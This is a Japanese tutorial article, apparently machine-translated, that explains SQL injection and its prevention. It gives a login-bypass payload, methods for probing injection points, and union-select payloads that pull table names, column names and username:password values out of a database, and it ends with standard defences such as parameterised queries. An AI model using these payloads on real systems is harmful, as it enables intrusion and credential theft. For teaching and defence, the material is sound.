1. ホーム
  2. データベース
  3. その他のデータベース

SQLインジェクションの実装と防止事例を解説

2022-01-17 04:09:27

SQLインジェクションとは?

SQLインジェクションとは、攻撃者が望む動作を実現するために、特殊な入力を構築して本来のSQL文を改ざんする行為です。

Sqlインジェクションの原因

動的なウェブページにアクセスするとき、私たちはしばしばサーバーにリクエストを送ります。サーバーはデータアクセス層にSqlクエリのリクエストを開始し、バリデーションが通ればSqlステートメントを実行します。ユーザーが入力したデータが悪意のあるSqlコードとして構築され、プログラムがユーザーが入力したデータを注意深くフィルタリングしなければ、不正なデータの侵入を許してしまう可能性があるのです。

ログイン例説明

select * from admin where uname='username' and pwd='password'

or 1=1 #(-space or -+ or #: この後のsql文をコメントアウト)を入力してください。

この時点のSQL文は次のようになります。 select * from admin where uname='' or 1=1 # and pwd='password' このとき、SQL文は常に保持され、ログインを回避することができます。

GET メソッドに基づく SQL インジェクション

URL内の対応するID値を通常の数字、大きな数字、文字(シングルクォート、ダブルクォート、ダブルシングルクォート、ブラケット)、バックスラッシュに変更することで、URL内に注入ポイントがあるかどうかを検出します。

mitan.zoneにログインしてテストすることができます。

1.' '1'' LIMIT 0,1 ' : シングルクォーテーションを追加したもの

このSQL文は、次のように推測することができます。 select login_name,password from admin where id = 'id' limit 0,1

2,' ' LIMIT 0,1 ': シングルクォーテーションを追加したもの

このSQL文は、次のように推測することができます。 select login_name,password from admin where id = id limit 0,1

3.' '1'') LIMIT 0,1 ': シングルクォーテーションを追加したもの

このSQL文は、次のように推測することができます。 select login_name,password from admin where id = ('id') limit 0,1

4. 一重引用符や括弧の中にエラーがない場合、受信した文字列の型は ' "1"") LIMIT 0,1 ': ダブルクォートをもう1つ

このSQL文は、次のように推測することができます。 select login_name,password from admin where id = ("id") limit 0,1

...

SQLインジェクションの悪用

1. order by を使ってフィールド数を決定する

order by n (n is the number of guessed fields) --+


ケース1を例にとると

select login_name,password from admin where id = 'id' limit 0,1
with ?id=1' order by 11--+


推測エラーに対してエラーが報告されます

この時点で、3つのフィールドが ?id=0' union select 1,2,3 --+ Login_nameが2列目、Passwordが3列目であることを検出し、2列目と3列目が利用可能になります。

?id=0' union select 1,2,3 --+ 2,3 に user():check current MYSQL login username, database():check current MYSQL database name, version():check the current MYSQL version, e.g. に。 ? id=0'union select 1,user(),database() --+ 下図の情報を取得する

2、union select union query を使用して、テーブル名を取得します。(union selectを使用した場合、前のSQL文をエラーとして報告するため)

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+


3. union select union query を使って、フィールド名を取得します。(上記でクエリされたusersテーブルを例とする)

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+


4. union select union クエリを使用して、フィールド値を取得します。(上記でクエリされたusersテーブルを例として)

union select 1,group_concat(username,0x3a,password),3 from users --+ (0x3a is a colon to separate the values of different fields)


アドレスバーに情報が表示されないPOSTフォームの場合、ダイアログボックスにインジェクション文を入力することができます。






ここで使われている方法は、アドレスバーの入力と同じで、ユニオンセレクトクエリを使ってテーブルのデータを引き出す前に、前のSQLステートメントをエラーにすることです。

SQLインジェクションの防止方法

  • ユーザーの入力をフィルタリングする。例:正規表現、長さの制限、シングルクォートとダブル"-"の変換など、ユーザーの入力をチェックする。
  • 動的に組み立てられたsqlを使用するプログラムを書く代わりに、パラメータ化されたsqlを使用したり、データクエリアクセスのために直接ストアドプロシージャを使用することができます。
  • 管理者権限で直接データベースに接続せず、アプリケーションごとに独立した限定的な権限のデータベースを使用する。
  • 機密情報を直接保存せず、パスワードや機密情報を暗号化またはハッシュ化する。
  • プログラムの例外メッセージはできるだけヒントを与えないようにし、生のエラーメッセージをカスタムのエラーメッセージで包むとよいでしょう。

概要

SQLインジェクションの実装と予防に関するこの記事はここで紹介されて、より関連するSQLインジェクションの実装と予防の内容は、スクリプトハウスの前の記事を検索してくださいまたは次の関連記事を閲覧し続けることは、スクリプトハウスをよりサポートすることを願っています!.